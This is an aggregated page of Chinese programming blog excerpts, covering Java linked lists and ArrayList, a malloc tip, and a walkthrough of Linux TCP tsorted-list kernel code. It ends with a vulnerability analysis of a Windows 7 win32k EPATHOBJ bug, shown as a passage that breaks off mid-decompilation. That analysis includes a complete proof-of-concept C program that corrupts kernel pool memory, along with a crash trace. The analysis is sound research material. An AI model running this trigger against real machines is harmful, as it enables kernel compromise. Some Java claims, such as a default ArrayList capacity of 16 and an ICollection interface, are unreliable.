精华内容
下载资源
问答
  • Java链表基本操作和Java.util.ArrayList今天做了一道《剑指offer》上的一道编程题“从尾到头打印...然后定义一个ArrayList 变量,由于ArrayList是动态数组,不能在未初始化的情况下对任意位置进行插入指定的值。所...

    Java链表基本操作和Java.util.ArrayList

    今天做了一道《剑指offer》上的一道编程题“从尾到头打印链表”,具体要求如下:

    输入一个链表,按链表值从尾到头的顺序返回一个ArrayList。

    一开始我想的是通过两次遍历链表,第一次遍历得到链表元素的个数count。然后定义一个ArrayList 变量,由于ArrayList是动态数组,不能在未初始化的情况下对任意位置进行插入指定的值。所以只能先对其进行初始化,将count个ArrayList元素赋值为初始值0。随后第二次遍历链表,将遍历得到的值,按照倒序计算出位置i,将ArrayList对应位置i的值设定为该遍历值。后来发现别人大多都是用递归来做的,因为递归的原理是堆栈,先进后出,所以最后实现的堆栈输出顺序正好是从尾到头的顺序。时间复杂度比我的方法要优。

    通过今天的做题,发现自己对于Java对单链表的操作以及java.ArrayList()的一些特性不太熟悉,所以想把今天收集到的资料记录一下,让自己能够记得清楚一些。

    Java对于单链表的基本操作:

    链表是一种常见的数据结构,链表不同于数组,其存储的位置可能不是连续的。所以当我们想要在链表中查找指定位置的结点时,只能去对链表进行遍历。而数组则直接能够通过位置找到相应的元素结点,时间复杂度为O(1)。

    单链表的结构如下图所示:

    10420834.html

    UKCVfOPRg1o4MDt1llRACQkAICAEh4JyCB7EWiDDFWPRj6v8tXtu5fZohFAAAAABJRU5ErkJggg==

    下面定义Java链表的实体类Node:

    package com.algorithm.link;

    public class Node {

    Node next = null;

    int val; //节点中的值public Node(int val) //Node的构造函数

    {

    this.val = val;

    }

    }

    Java中对单链表的常见操作:

    package com.algorithm.link;

    public class MyLinkedList{

    Node head = null; //定义头结点指针

    /*-------------链表添加结点------------*/

    public void addNode(int val)

    {

    Node NewNode = new Node(val);//创建要添加的结点

    if(head==null) //当链表为空时

    {

    head=NewNode;

    return;

    }

    else { //当链表不为空时,则先找到链表的尾结点,然后插入待插入的结点

    Node tmp = head;

    while(tmp.next!=null)

    {

    tmp=tmp.next;

    }

    tmp.next=NewNode;//此时tmp为链表的尾结点

    }

    }

    /*------------链表删除结点----------*/

    public boolean deleteNode(int index)

    {

    if(index==1)//说明删除的是头节点

    {

    head=head.next;

    return true;

    }

    int i=2;

    //因为链表不止两个结点,所以定义一个前结点,一个当前结点,分别指向目标结点的前结点和目标结点

    Node preNode = head;

    Node curNode = head.next;

    while(curNode!=null)

    {

    if(index==i)//找到要删除的结点了,此时curNode指向该结点

    {

    preNode.next=curNode.next;//删除结点

    return true;

    }

    //preNode和curNode结点分别向后移动一位

    preNode=preNode.next;

    curNode=curNode.next;

    i++;

    }

    return true;//按照前面的一定能够找到待删除的结点,这句语句不会执行,只是为了程序能够通过编译。

    }

    }

    Java.util.ArrayList:

    ArrayList是一种动态数组,可以根据元素增加的情况动态的重新分配空间,是Array的复杂版本。

    ArrayList相对于Array有以下几个优点:

    可以动态的增加或减少元素

    实现了ICollection和IList接口

    可以灵活的设置数组的大小

    首先构建一个ArrayList,其提供了三种构造方法:

    public ArrayList();

    默认的构造器,将会以默认(16)的大小来初始化内部的数组

    public ArrayList(ICollection);

    用一个ICollection对象来构造,并将该集合的元素添加到ArrayList

    public ArrayList(int);

    用指定的大小来初始化内部的数组

    在构造ArrayList时,可以指定ArrayList的类型,例:ArrayList a = new ArrayList();或ArrayList b = new ArrayList();但指定的类型必须为构造器类型(component type)

    对ArrayList的基本操作:

    add() 增加元素

    remove(Object o) 遍历ArrayList,删除遇到的第一个指定的元素o

    例: a.remove(new Integer(8)) //删除第一个元素值为8的元素

    remove(index i) 根据下标来删除ArrayList中指定位置的元素

    clear() 清除ArrayList中的所有元素

    contains(Object o) 判断ArrayList中是否存在指定值的元素

    将ArrayList 转换为Array数组:

    ArrayList提供 public T[] toArray(T[] a) 方法能够将ArrayList类型数组转换为普通Array数组,例如我们定义了一个Integer 类型的ArrayList数组: ArrayList a = new ArrayList() 并在其上通过循环,add了10个元素。此时,我们若想将其转换成为数组可以这样去转换:

    Integer[] value=(Integer[])a.toArray(new Integer[a.size()]);

    上述返回的数组的长度大小正好为a数组的大小,我们也可以指定new Integer[]里面的数字,当该长度容纳不下待转换的ArrayList元素个数时,该方法会重新依据ArrayList的大小重新分配一个数组,将ArrayList a 中的元素复制到里面并返回。当指定的数目大于a中的元素个数时,也就是数组的空间有剩余。此时,toArray()方法会将剩余的数组部分的元素值都置为 null。

    将数组转换为ArrayList:

    String数组 array;

    List list=Arrays.asList(array); //将String数组array转化成List

    但上述的转化方法返回的list无法对其进行修改和增加元素,仿佛是静态固定的。[解释] 所以还可以通过以下的方法去将数组转换成ArrayList:

    ArrayList c = new ArrayList(Arrays.asList(array));

    此时返回的ArrayList数组可以正常地对其进行操作。

    关于数组扩容对ArrayList效率的影响问题:

    当我们以默认不带指定大小的构造器去构造一个ArrayList时,默认会将其大小初始化分配为16。在我们使用增加元素的方法之前,例如使用add()、addAll()等,都会首先检查内部数组的大小是否够用,如果不够用,则会以当前容量的两倍来重新构建一个数组,并将旧数组的元素copy到新数组中,并丢弃掉旧数组。这种在临界点进行扩容的操作,会比较影响效率。

    比如,一个可能有200个元素的数据动态添加到一个以默认16个元素大小创建的ArrayList中,将会经过: 16*2*2*2*2 = 256 四次的扩容才会满足最终的要求,那么如果一开始就以: ArrayList List = new ArrayList( 210 ); 的方式创建ArrayList,不仅会减少4次数组创建和Copy的操作,还会减少内存使用。

    另外一种可能发生的情况是,比如我们定义了一个ArrayList数组,且其大小为30,但我们却有31个元素要添加进去,该ArrayList数组则会经过一个扩容容量变为60,这样最后便会有29个元素的存储空间是浪费掉的。此时,我们可以通过 trimToSize 方法去让当前数组的大小变为实际元素个数的大小,还可以提前大致预测一下数组的大小,然后在数组创建之时就指定好大小,这样能够避免去浪费更多的空间。

    java.util.Arrays()、java.util.ArrayList()、java数组之间的关系:

    Arrays()实现了对数组的一系列操作方法,而ArrayList是动态数组,其大小可以动态变化。

    参考文章

    java实现单链表操作 : https://www.cnblogs.com/bjh1117/p/8335108.html

    java.util.ArrayList() :

    https://www.cnblogs.com/qingchunshiguang/p/6103731.html

    展开全文
  • 当我们为指针申请内存时若用一下方法: list* head; head=new list;...会造成未初始化内存head(在函数中) 此时将head=new list; 改成head=(list*)malloc(sizeof(list*));即可 malloc函数头文件stdlib.h;

    当我们为指针申请内存时若用一下方法:
    list* head;
    head=new list;
    会造成未初始化内存head(在函数中)
    此时将head=new list;
    改成head=(list*)malloc(sizeof(list*));即可
    malloc函数头文件stdlib.h;

    展开全文
  • 内核实现的时间排序的确认报文链表(time-sorted sent but un-...首先是位于套接口的初始化函数tcp_init_sock中,初始化链表tsorted_sent_queue。 void tcp_init_sock(struct sock *sk) { struct inet_connecti...

    内核实现的时间排序的未确认报文链表(time-sorted sent but un-SACKed skbs),用于加速RACK算法的处理。

    tsorted链表初始化

    首先是位于套接口的初始化函数tcp_init_sock中,初始化此链表tsorted_sent_queue。

    void tcp_init_sock(struct sock *sk)
    {
        struct inet_connection_sock *icsk = inet_csk(sk);
        struct tcp_sock *tp = tcp_sk(sk);
    
        INIT_LIST_HEAD(&tp->tsorted_sent_queue);
    

    其次,是位于子套接口的创建函数tcp_create_openreq_child中,初始化子套接口的tsorted链表。

    struct sock *tcp_create_openreq_child(const struct sock *sk,
                          struct request_sock *req, struct sk_buff *skb)
    {
        INIT_LIST_HEAD(&newtp->tsorted_sent_queue);
    

    最后,在断开连接、复位连接、销毁套接口、或者因套接口异常需要关闭时,将在函数tcp_write_queue_purge中清理tsorted链表,并且进行重新初始化。在初始化之前,先使用函数tcp_skb_tsorted_anchor_cleanup进行了相应清理操作,对此稍后进行介绍。

    void tcp_write_queue_purge(struct sock *sk)
    {
        struct sk_buff *skb;
    
        tcp_chrono_stop(sk, TCP_CHRONO_BUSY);
        while ((skb = __skb_dequeue(&sk->sk_write_queue)) != NULL) {
            tcp_skb_tsorted_anchor_cleanup(skb);
            sk_wmem_free_skb(sk, skb);
        }
        tcp_rtx_queue_purge(sk);
        INIT_LIST_HEAD(&tcp_sk(sk)->tsorted_sent_queue);
    

    sk_buff中的tsorted链表挂点

    在sk_buff结构中,tsorted链表成员tcp_tsorted_anchor与_skb_refdst和destructor定义在一个联合体union中,其中tcp_tsorted_anchor和_skb_refdst共用内存空间,意味着两者不能同时使用。

    struct sk_buff {
        ...
        union {
            struct {
                unsigned long   _skb_refdst;
                void        (*destructor)(struct sk_buff *skb);
            };
            struct list_head    tcp_tsorted_anchor;
        };  
    

    在操作tsorted链表时,需要使用以下两个宏tcp_skb_tsorted_save和tcp_skb_tsorted_restore,前者初始化sk_buff结构中的tsorted链表挂点,保存_skb_refdst中的原有数据。后者在tsorted链表操作完成之后,还原_skb_refdst的值。

    #define tcp_skb_tsorted_save(skb) {     \
        unsigned long _save = skb->_skb_refdst; \
        skb->_skb_refdst = 0UL;
            
    #define tcp_skb_tsorted_restore(skb)        \
        skb->_skb_refdst = _save;       \
    }
    

    tsorted链表添加

    tsorted链表的添加操作发生在数据发送和数据重传之后,如下在数据发送函数__tcp_transmit_skb中,对于不包含任何数据的Pure ACK报文不需要进行clone克隆处理,其它情况下,首先对报文进行克隆。在克隆之前,调用以上函数tcp_skb_tsorted_save保存_skb_refdst值,并将原值清零。在克隆完成之后,还原结构体中_skb_refdst的值。

    static int __tcp_transmit_skb(struct sock *sk, struct sk_buff *skb,
                      int clone_it, gfp_t gfp_mask, u32 rcv_nxt)
    {
        BUG_ON(!skb || !tcp_skb_pcount(skb));
        tp = tcp_sk(sk);
    
        if (clone_it) {
            TCP_SKB_CB(skb)->tx.in_flight = TCP_SKB_CB(skb)->end_seq - tp->snd_una;
            oskb = skb;
    
            tcp_skb_tsorted_save(oskb) {
                if (unlikely(skb_cloned(oskb)))
                    skb = pskb_copy(oskb, gfp_mask);
                else
                    skb = skb_clone(oskb, gfp_mask);
            } tcp_skb_tsorted_restore(oskb);
    
            if (unlikely(!skb))
                return -ENOBUFS;
        }
    

    克隆之后的报文将用于执行发送操作,在IP层的发送函数ip_queue_xmit中,可以由套接口中缓存的路由项重新设置skb中的_skb_refdst值,或者通过路由查找进行设置。如果报文发送成功,调用tcp_update_skb_after_send函数,其中将处理tsorted链表的添加操作,这里使用的是克隆之前的报文结构oskb。

        ...
        err = icsk->icsk_af_ops->queue_xmit(sk, skb, &inet->cork.fl);
    
        if (unlikely(err > 0)) {
            tcp_enter_cwr(sk);
            err = net_xmit_eval(err);
        }
        if (!err && oskb) {
            tcp_update_skb_after_send(sk, oskb, prior_wstamp);
            tcp_rate_skb_sent(sk, oskb);
        }
    

    在看一下在重传函数__tcp_retransmit_skb中,如果要重传的报文skb结构的数据指针非4字节对齐(最后两位不为零),或者skb数据段的头部空间超过或等于U16_MAX长度,将导致校验和计算的起始位置变量csum_start(16位)溢出,具体可参见内核函数skb_partial_csum_set中的类似判断。以上的两种情况出现的几率都不大,但是如果出现,如下将拷贝报文结构,消除以上两种问题,这样,在TCP传输函数tcp_transmit_skb中就不需再对报文进行克隆处理。

    报文重传完成之后,调用tcp_update_skb_after_send处理tsorted链表(在tcp_transmit_skb中略过了这一步)。

    int __tcp_retransmit_skb(struct sock *sk, struct sk_buff *skb, int segs)
    {
        /* make sure skb->data is aligned on arches that require it
         * and check if ack-trimming & collapsing extended the headroom
         * beyond what csum_start can cover.
         */
        if (unlikely((NET_IP_ALIGN && ((unsigned long)skb->data & 3)) ||
                 skb_headroom(skb) >= 0xFFFF)) {
            struct sk_buff *nskb;
    
            tcp_skb_tsorted_save(skb) {
                nskb = __pskb_copy(skb, MAX_TCP_HEADER, GFP_ATOMIC);
                err = nskb ? tcp_transmit_skb(sk, nskb, 0, GFP_ATOMIC) : -ENOBUFS;
            } tcp_skb_tsorted_restore(skb);
    
            if (!err) {
                tcp_update_skb_after_send(sk, skb, tp->tcp_wstamp_ns);
                tcp_rate_skb_sent(sk, skb);
            }
        } else {
    

    函数tcp_update_skb_after_send如下,将报文skb链接到tsorted链表的末尾。

    static void tcp_update_skb_after_send(struct sock *sk, struct sk_buff *skb, u64 prior_wstamp)
    {   
        struct tcp_sock *tp = tcp_sk(sk);
        
        skb->skb_mstamp_ns = tp->tcp_wstamp_ns;
        if (sk->sk_pacing_status != SK_PACING_NONE) {
            u...
        }
        list_move_tail(&skb->tcp_tsorted_anchor, &tp->tsorted_sent_queue);
    }
    

    tsorted链表与重传队列

    对于新发送的报文(非重传),函数tcp_write_xmit将报文发送之后,调用tcp_event_new_data_sent函数。

    static bool tcp_write_xmit(struct sock *sk, unsigned int mss_now, int nonagle, int push_one, gfp_t gfp)
    {
        ...
        while ((skb = tcp_send_head(sk))) {
            ...
            if (unlikely(tcp_transmit_skb(sk, skb, 1, gfp)))
                break;
    
    repair:
            /* Advance the send_head.  This one is sent out.
             * This call will increment packets_out.
             */
            tcp_event_new_data_sent(sk, skb);
    

    函数tcp_event_new_data_sent将报文由发送队列中移除,并添加到重传队列中,

    static void tcp_event_new_data_sent(struct sock *sk, struct sk_buff *skb)
    {   
        struct inet_connection_sock *icsk = inet_csk(sk);
        struct tcp_sock *tp = tcp_sk(sk);
        unsigned int prior_packets = tp->packets_out;
        
        tp->snd_nxt = TCP_SKB_CB(skb)->end_seq;
        
        __skb_unlink(skb, &sk->sk_write_queue);
        tcp_rbtree_insert(&sk->tcp_rtx_queue, skb);
    

    在重传函数__tcp_retransmit_skb中,如果报文长度大于允许的重传长度,将报文进行分片,仅发送允许长度的报文。否则,如果skb长度小于允许的长度,并且小于当前的MSS值,尝试合并重传队列中的后续报文组成长度为MSS的报文。

    int __tcp_retransmit_skb(struct sock *sk, struct sk_buff *skb, int segs)
    {
        ...
        len = cur_mss * segs;
        if (skb->len > len) {
            if (tcp_fragment(sk, TCP_FRAG_IN_RTX_QUEUE, skb, len,
                     cur_mss, GFP_ATOMIC))
                return -ENOMEM; /* We'll try again later. */
        } else {
            if (skb_unclone(skb, GFP_ATOMIC))
                return -ENOMEM;
    
            diff = tcp_skb_pcount(skb);
            tcp_set_skb_tso_segs(skb, cur_mss);
            diff -= tcp_skb_pcount(skb);
            if (diff)
                tcp_adjust_pcount(sk, skb, diff);
            if (skb->len < cur_mss)
                tcp_retrans_try_collapse(sk, skb, cur_mss);
        }
    

    如下分片函数tcp_fragment,其将skb分为两个报文结构:skb和buff,其中skb的数据长度为参数中指定的len;而buff中为剩余的数据。在函数最后,将buff链接到重传队列,以及将其链接在原skb在tsorted链表中的后部。

    int tcp_fragment(struct sock *sk, enum tcp_queue tcp_queue,
             struct sk_buff *skb, u32 len, unsigned int mss_now, gfp_t gfp)
    {
        struct sk_buff *buff;
        ...
        tcp_insert_write_queue_after(skb, buff, sk, tcp_queue);
        if (tcp_queue == TCP_FRAG_IN_RTX_QUEUE)
            list_add(&buff->tcp_tsorted_anchor, &skb->tcp_tsorted_anchor);
    

    如下函数tcp_retrans_try_collapse遍历重传队列中skb之后的报文,如果有合适的报文,由函数tcp_collapse_retrans完成合并。

    static void tcp_retrans_try_collapse(struct sock *sk, struct sk_buff *to, int space)
    {   
        skb_rbtree_walk_from_safe(skb, tmp) {
            ...
            if (!tcp_collapse_retrans(sk, to))
                break;
        }
    }
    

    如下tcp_collapse_retrans函数,如果下一个报文的长度小于当前skb的末尾可用空间,将其数据拷贝到skb数据空间内。否则,由函数skb_shift将数据移动到skb的共享区。函数的最后,调用tcp_rtx_queue_unlink_and_free将被合并的报文由重传队列和tsorted链表中移除。

    static bool tcp_collapse_retrans(struct sock *sk, struct sk_buff *skb)
    {
        struct tcp_sock *tp = tcp_sk(sk);
        struct sk_buff *next_skb = skb_rb_next(skb);
    
        next_skb_size = next_skb->len;
    
        BUG_ON(tcp_skb_pcount(skb) != 1 || tcp_skb_pcount(next_skb) != 1);
    
        if (next_skb_size) {
            if (next_skb_size <= skb_availroom(skb))
                skb_copy_bits(next_skb, 0, skb_put(skb, next_skb_size),
                          next_skb_size);
            else if (!skb_shift(skb, next_skb, next_skb_size))
                return false;
        }
        ...
        tcp_rtx_queue_unlink_and_free(next_skb, sk);
    

    tsorted与报文确认

    在接收到ACK确认报文,将使用函数tcp_clean_rtx_queue清除重传队列中序号在ACK确认序号(SND.UNA)之前的数据,这些数据已经被对端接收。调用函数tcp_rtx_queue_unlink_and_free将确认的报文skb,由重传队列和tsorted链表中移除,并释放。注意,对于仅确认了部分数据的skb(fully_acked==0),暂不清除。

    static int tcp_clean_rtx_queue(struct sock *sk, u32 prior_fack,
                       u32 prior_snd_una, struct tcp_sacktag_state *sack)
    {
        bool fully_acked = true;
    
        for (skb = skb_rb_first(&sk->tcp_rtx_queue); skb; skb = next) {
            struct tcp_skb_cb *scb = TCP_SKB_CB(skb);
    
            if (after(scb->end_seq, tp->snd_una)) {
                if (tcp_skb_pcount(skb) == 1 || !after(tp->snd_una, scb->seq))
                    break
                acked_pcount = tcp_tso_acked(sk, skb);
                if (!acked_pcount) break;
                fully_acked = false;
            } else {
                acked_pcount = tcp_skb_pcount(skb);
            }
            ...
    
            if (!fully_acked) break;
            ...
            tcp_rtx_queue_unlink_and_free(skb, sk);
        }
    

    对于SACK确认的报文,其序号块可能仅确认了skb中的部分数据,函数tcp_shifted_skb尝试将此部分数据与前面已被SACK确认的skb进行合并。在合并到前一个skb(prev)之后,如果skb中不再包含数据,由重传队列和tsorted链表中移除,并释放。

    static bool tcp_shifted_skb(struct sock *sk, struct sk_buff *prev,
                    struct sk_buff *skb, struct tcp_sacktag_state *state,
                    unsigned int pcount, int shifted, int mss, bool dup_sack)
    {
        struct tcp_sock *tp = tcp_sk(sk);
        u32 start_seq = TCP_SKB_CB(skb)->seq;   /* start of newly-SACKed */
        u32 end_seq = start_seq + shifted;  /* end of newly-SACKed */
    
        ... 
        TCP_SKB_CB(prev)->end_seq += shifted;
        TCP_SKB_CB(skb)->seq += shifted;
    	
        if (skb->len > 0) {
            BUG_ON(!tcp_skb_pcount(skb));
            NET_INC_STATS(sock_net(sk), LINUX_MIB_SACKSHIFTED);
            return false;
        }
        ...
        tcp_rtx_queue_unlink_and_free(skb, sk);
    
        NET_INC_STATS(sock_net(sk), LINUX_MIB_SACKMERGED);
    

    如下tcp_sacktag_walk函数,对于SACK确认的报文,将其由tsorted链表中移除。

    static struct sk_buff *tcp_sacktag_walk(struct sk_buff *skb, struct sock *sk,
                        struct tcp_sack_block *next_dup, struct tcp_sacktag_state *state,
                        u32 start_seq, u32 end_seq, bool dup_sack_in)
    {
        skb_rbtree_walk_from(skb) {
            int in_sack = 0;
            bool dup_sack = dup_sack_in;
    
            ...
            if (unlikely(in_sack < 0)) break;
    
            if (in_sack) {
                TCP_SKB_CB(skb)->sacked =
                    tcp_sacktag_one(sk, state,
                            TCP_SKB_CB(skb)->sacked,
                            TCP_SKB_CB(skb)->seq,
                            TCP_SKB_CB(skb)->end_seq,
                            dup_sack,
                            tcp_skb_pcount(skb),
                            tcp_skb_timestamp_us(skb));
                tcp_rate_skb_delivered(sk, skb, state->rate);
                if (TCP_SKB_CB(skb)->sacked & TCPCB_SACKED_ACKED)
                    list_del_init(&skb->tcp_tsorted_anchor);
    

    销毁tsorted链表

    当套接口初始化、关闭、出错、销毁或者接收到对端复位报文时,将使用函数tcp_write_queue_purge清空套接口的发送队列和重传队列。函数tcp_skb_tsorted_anchor_cleanup将清空链接在套接口tsorted链表上的skb结构指针tcp_tsorted_anchor。最后,重新初始化tsorted链表tsorted_sent_queue。

    void tcp_write_queue_purge(struct sock *sk)
    {
        struct sk_buff *skb;
    
        tcp_chrono_stop(sk, TCP_CHRONO_BUSY);
        while ((skb = __skb_dequeue(&sk->sk_write_queue)) != NULL) {
            tcp_skb_tsorted_anchor_cleanup(skb);
            sk_wmem_free_skb(sk, skb);
        }
        tcp_rtx_queue_purge(sk);
        INIT_LIST_HEAD(&tcp_sk(sk)->tsorted_sent_queue);
    

    如下tcp_rtx_queue_purge函数清空重传队列,清空报文结构skb的tcp_tsorted_anchor链表连接点。由于这里是清空整个tsorted链表,没有必要调用删除链表元素的函数list_del。

    static inline void tcp_skb_tsorted_anchor_cleanup(struct sk_buff *skb)
    {   
        skb->destructor = NULL;
        skb->_skb_refdst = 0UL;
    }
    static inline void tcp_rtx_queue_unlink(struct sk_buff *skb, struct sock *sk)
    {
        tcp_skb_tsorted_anchor_cleanup(skb);
        rb_erase(&skb->rbnode, &sk->tcp_rtx_queue);
    }
    static void tcp_rtx_queue_purge(struct sock *sk)
    {
        struct rb_node *p = rb_first(&sk->tcp_rtx_queue);
    
        while (p) {
            struct sk_buff *skb = rb_to_skb(p);
    
            p = rb_next(p);
            /* Since we are deleting whole queue, no need to list_del(&skb->tcp_tsorted_anchor)
             */
            tcp_rtx_queue_unlink(skb, sk);
            sk_wmem_free_skb(sk, skb);
    

    RACK之tsorted链表处理

    函数tcp_rack_detect_loss负责依据RACK算法标记丢失报文,即如果发送时间靠后的报文已经被确认(ACK或者SACK),那么之前的未确认报文认为已经丢失。为抵御乱序的情况,RACK在确认报文和丢失报文之间设置了一定的时间差值。

    如下遍历tsorted时间排序的报文链表,从最早发送的报文开始,如果其已经被标记为丢失,但是还没有重传,不进行处理。

    static void tcp_rack_detect_loss(struct sock *sk, u32 *reo_timeout)
    {   
        struct tcp_sock *tp = tcp_sk(sk);
        
        *reo_timeout = 0;
        reo_wnd = tcp_rack_reo_wnd(sk);
        list_for_each_entry_safe(skb, n, &tp->tsorted_sent_queue,
                     tcp_tsorted_anchor) {
            struct tcp_skb_cb *scb = TCP_SKB_CB(skb);
            s32 remaining;
            
            /* Skip ones marked lost but not yet retransmitted */
            if ((scb->sacked & TCPCB_LOST) &&
                !(scb->sacked & TCPCB_SACKED_RETRANS))
                continue;
    

    如果遇到报文,其发送时间戳不在RACK记录的时间戳(最近确认报文的发送时间戳)之前,或者时间戳相等,但是其其结束序号在RACK记录的序号的后边,表明此报文在RACK记录的报文之后发送,结束遍历。

            if (!tcp_rack_sent_after(tp->rack.mstamp,
                         tcp_skb_timestamp_us(skb),
                         tp->rack.end_seq, scb->end_seq))
                break;
    

    如果一个报文经过了当前RTT(非SRTT)加上乱序窗口时长之后还没被ACK确认或者SACK确认,即认为此报文已经丢失,并将其由tsorted链表中移除。随后,在重传之后,还会将此报文添加到tsorted链表中,由于那时其发送时间戳已经变化,将位于tsorted链表尾部。

            /* A packet is lost if it has not been s/acked beyond
             * the recent RTT plus the reordering window.
             */
            remaining = tcp_rack_skb_timeout(tp, skb, reo_wnd);
            if (remaining <= 0) {
                tcp_mark_skb_lost(sk, skb);
                list_del_init(&skb->tcp_tsorted_anchor);
            } else {
                /* Record maximum wait time */
                *reo_timeout = max_t(u32, *reo_timeout, remaining);
    

    tsorted与ACK时间戳

    在处理重传队列函数tcp_clean_rtx_queue中,函数tcp_ack_tstamp记录对端发送的ACK报文时间戳。

    static int tcp_clean_rtx_queue(struct sock *sk, u32 prior_fack,
                       u32 prior_snd_una, struct tcp_sacktag_state *sack)
    {
        for (skb = skb_rb_first(&sk->tcp_rtx_queue); skb; skb = next) {
    
            tcp_ack_tstamp(sk, skb, prior_snd_una);
    

    由于在函数调用__skb_tstamp_tx中要操作路由缓存_skb_refdst,这里先行将tsorted链表指针tcp_tsorted_anchor保存,之后进行还原。

    static void tcp_ack_tstamp(struct sock *sk, struct sk_buff *skb, u32 prior_snd_una)
    {
        /* Avoid cache line misses to get skb_shinfo() and shinfo->tx_flags */
        if (likely(!TCP_SKB_CB(skb)->txstamp_ack))
            return;
    
        shinfo = skb_shinfo(skb);
        if (!before(shinfo->tskey, prior_snd_una) &&
            before(shinfo->tskey, tcp_sk(sk)->snd_una)) {
            tcp_skb_tsorted_save(skb) {
                __skb_tstamp_tx(skb, NULL, sk, SCM_TSTAMP_ACK);
            } tcp_skb_tsorted_restore(skb);
    

    内核版本 5.0

    展开全文
  • 抽象的来说,该漏洞是由于双向链表的插入节点操作可以被中止,导致新节点的next指针未初始化,这样,再次遍历时会对未知的数据进行访存而引发错误。接下来定位具体位置。 提供的poc如下 #ifndef WIN32_NO_STATUS # ...

    前言

    win32k的一个洞,这个利用方式很奇妙,所以研究一波,利用起来有一定失败率
    调试环境

    • windows 7 sp1
    • vmware 15.0
    • vitualKD3.0

    漏洞成因

    抽象的来说,该漏洞是由于双向链表的插入节点操作可以被中止,导致新节点的next指针未初始化,这样,再次遍历时会对未知的数据进行访存而引发错误。接下来定位具体位置。

    提供的poc如下

    #ifndef WIN32_NO_STATUS
    # define WIN32_NO_STATUS
    #endif
    #include <windows.h>
    #include <assert.h>
    #include <stdio.h>
    #include <stddef.h>
    #include <winnt.h>
    #ifdef WIN32_NO_STATUS
    # undef WIN32_NO_STATUS
    #endif
    #include <ntstatus.h>
    
    #pragma comment(lib, "gdi32")
    #pragma comment(lib, "kernel32")
    #pragma comment(lib, "user32")
    
    #define MAX_POLYPOINTS (8192 * 3)
    #define MAX_REGIONS 8192*2
    #define CYCLE_TIMEOUT 10000
    
    POINT       Points[MAX_POLYPOINTS];
    BYTE        PointTypes[MAX_POLYPOINTS];
    HRGN        Regions[MAX_REGIONS];
    ULONG       NumRegion;
    HANDLE      Mutex;
    
    // Log levels.
    typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, * PLEVEL;
    
    BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
    
    // Copied from winddi.h from the DDK
    #define PD_BEGINSUBPATH   0x00000001
    #define PD_ENDSUBPATH     0x00000002
    #define PD_RESETSTYLE     0x00000004
    #define PD_CLOSEFIGURE    0x00000008
    #define PD_BEZIERS        0x00000010
    
    typedef struct  _POINTFIX
    {
    	ULONG x;
    	ULONG y;
    } POINTFIX, * PPOINTFIX;
    
    // Approximated from reverse engineering.
    typedef struct _PATHRECORD {
    	struct _PATHRECORD* next;
    	struct _PATHRECORD* prev;
    	ULONG               flags;
    	ULONG               count;
    	POINTFIX            points[0];
    } PATHRECORD, * PPATHRECORD;
    
    PPATHRECORD PathRecord;
    PATHRECORD  ExploitRecord;
    
    int main(int argc, char** argv)
    {
    	HANDLE      Thread;
    	HDC         Device;
    	ULONG       Size;
    	HRGN        Buffer;
    	ULONG       PointNum;
    	ULONG       Count;
    	int         i = 0;
    
    	SetThreadDesktop(CreateDesktop("DontPanic",
    		NULL,
    		NULL,
    		0,
    		GENERIC_ALL,
    		NULL));
    
    	// Get a handle to this Desktop.
    	Device = GetDC(NULL);
    
    	PathRecord = VirtualAlloc(NULL,
    		sizeof(PATHRECORD),
    		MEM_COMMIT | MEM_RESERVE,
    		PAGE_EXECUTE_READWRITE);
    
    	FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
    
    	PathRecord->next = (PVOID)(0x41414141);
    	PathRecord->prev = (PVOID)(0x42424242);
    
    	for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
    		Points[PointNum].x = (ULONG)(PathRecord) >> 4;
    		Points[PointNum].y = (ULONG)(PathRecord) >> 4;
    		PointTypes[PointNum] = PT_BEZIERTO;
    	}
    	for (Size = 1 << 26; Size; Size >>= 1) {
    		while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
    			NumRegion++;
    	}
    
    	for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
    		printf("%d\n", PointNum / 3);
    		BeginPath(Device);
    		PolyDraw(Device, Points, PointTypes, PointNum);
    		EndPath(Device);
    		FlattenPath(Device);
    		FlattenPath(Device);
    		EndPath(Device);
    	}
    
    	return 0;
    }
    

    经过测试,该poc并非一定成功,毕竟它是基于压力测试的,若未初始化的next并非是我们污染池造成的,则并不一定会出问题。总之多次运行直到触发异常即可

    kd> g
    Access violation - code c0000005 (!!! second chance !!!)
    win32k!EPATHOBJ::bFlatten+0x15:
    9b13b074 f6400810        test    byte ptr [eax+8],10h
    kd> kb
     # ChildEBP RetAddr  Args to Child              
    00 96fadbe4 9b27bdf6 00000001 00000294 fe8db9d0 win32k!EPATHOBJ::bFlatten+0x15
    01 96fadc28 83e7e1ea 08010be1 0017fdd4 777770b4 win32k!NtGdiFlattenPath+0x50
    02 96fadc28 777770b4 08010be1 0017fdd4 777770b4 nt!KiFastCallEntry+0x12a
    03 0017fdc0 75e26915 75e16501 08010be1 000007bf ntdll!KiFastSystemCallRet
    04 0017fdc4 75e16501 08010be1 000007bf 0017fe10 gdi32!NtGdiFlattenPath+0xc
    05 0017fdd4 01341270 08010be1 00374e10 003749e0 gdi32!FlattenPath+0x44
    WARNING: Frame IP not in any known module. Following frames may be wrong.
    06 0017fe10 01341560 00000002 7ffdf000 01341560 0x1341270
    07 0017fe64 769b3c45 7ffdf000 0017feb0 777937f5 0x1341560
    08 0017fe70 777937f5 7ffdf000 77951639 00000000 kernel32!BaseThreadInitThunk+0xe
    09 0017feb0 777937c8 013415e8 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70
    0a 0017fec8 00000000 013415e8 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b
    

    可以看到这里是访存异常,我们来看看当前的eax是多少

    kd> r
    eax=41414141 ebx=9b27bda6 ecx=96fadbec edx=00000001 esi=96fadbec edi=08010be1
    eip=9b13b074 esp=96fadbe4 ebp=96fadc28 iopl=0         nv up ei pl nz na pe nc
    cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010206
    win32k!EPATHOBJ::bFlatten+0x15:
    9b13b074 f6400810        test    byte ptr [eax+8],10h       ds:0023:41414149=??
    

    eax正是poc中next指针的值,至于为什么会这样,可以对EPATHOBJ::bFlatten函数进行分析

    signed int __thiscall bFlatten(_DWORD *this)
    {
      _DWORD *v1; // esi
      DWORD v2; // eax
